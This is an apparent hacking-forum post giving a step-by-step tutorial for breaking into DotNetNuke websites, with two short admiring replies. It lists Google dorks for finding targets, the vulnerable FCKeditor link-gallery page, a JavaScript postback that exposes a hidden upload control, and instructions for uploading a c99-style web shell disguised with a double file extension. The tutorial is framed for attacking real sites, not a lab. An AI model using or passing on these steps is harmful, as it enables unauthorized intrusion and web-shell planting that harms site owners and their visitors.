[Merkuri]

DNN Exploit

In this tutorial I will write about hacking website via DNN(DotNetNuke) exploit. You will need shell (c99,r57, ItSecTeam Shell....)

What is DNN(DotNetNuke) ?

Code:

DNN is the leading Web Content Management Platform (or CMS) for Microsoft, powering over 700,000 production web sites worldwide. The flexible DNN open source CMS platform also functions as a web application development framework. Depending on your role within your organization, DNN provides powerful benefits to support your Web initiatives.

-http://www.dotnetnuke.com/

How to find vulnerable site ?

We will use GH(Google Hacking, Google Dorks)

Code:

inurl:/tabid/36/language/en-US/Default.aspx inurl:fcklinkgallery.aspx inurl:/portals/0

Those are the dork I know and found if you what you can search in internet for more

Exploiting
http://www.site/home/tabid/36/language/e...fault.aspx
This is vulnerable site.
change home/tabid/36/language/en-US/default.aspx with Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
The new page should look like this
Rename your shell .jpge(example c99.asp.jpge)
Now select Third ratio "File (A file on Your Site)"
Paste this JavaScript in URL bar

Code:

javascript:__doPostBack('ctlURL$cmdUpload','')

Now you should see upload button click it

PARTY !@#!@$$%!@#%^! you have successful upload your shell

Code:

portals/0/c99.asp.jpg

Here should it be

Also sometimes you will see the page without the upload forum this site is NOT vulnerable

[Oni]

Another awesome tutorial from you. Great job.

[shizelkid]

Has dotnetnuke been hacked?